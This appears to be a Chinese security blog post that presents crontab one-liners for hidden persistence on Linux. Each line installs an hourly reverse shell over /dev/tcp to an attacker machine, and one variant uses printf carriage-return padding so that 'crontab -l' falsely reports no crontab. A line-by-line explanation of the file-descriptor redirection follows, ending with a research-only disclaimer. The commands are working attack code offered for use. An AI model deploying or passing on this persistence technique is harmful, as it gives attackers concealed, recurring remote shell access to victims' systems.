正常版本
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
升级猥琐版本
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;rno crontab for `whoami`%100cn")|crontab -
crontab -l直接提示no crontab
分析:
e
cho '*/60 * * * *'
crontab格式 每隔60分钟执行一次
exec 9<>/dev/tcp/127.0.0.1/8888
以读写方式打开/dev/tcp,并指定服务器名为:127.0.0.1(攻击机) 端口号为:8888,指定描述符为9
要注意的是:/dev/tcp本身是不存在的,在/dev目录下是找不到的
exec 0<&9;exec 1>&9 2>&1;
linux 三个基本文件描述符 0:stdin 1:stdout 2:stderr
n >&m 表示使文件描述符n成为描述符m的副本
exec 0<&9; 将fd9从定向到标准输入;
exec 1>&9 2>&1; 将标准输出从定向到文件fd9,将标准错误从定向到标准输出.
简单的理解为fd9=fd0 fd1=fd9 所以我的理解是,fd9从标准输入读入字符,处理后结果用标准输出输出.
/bin/bash --noprofile -i
打开一个shell
如果觉得文章对你有帮助,请支持下点击右下角“在看”
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论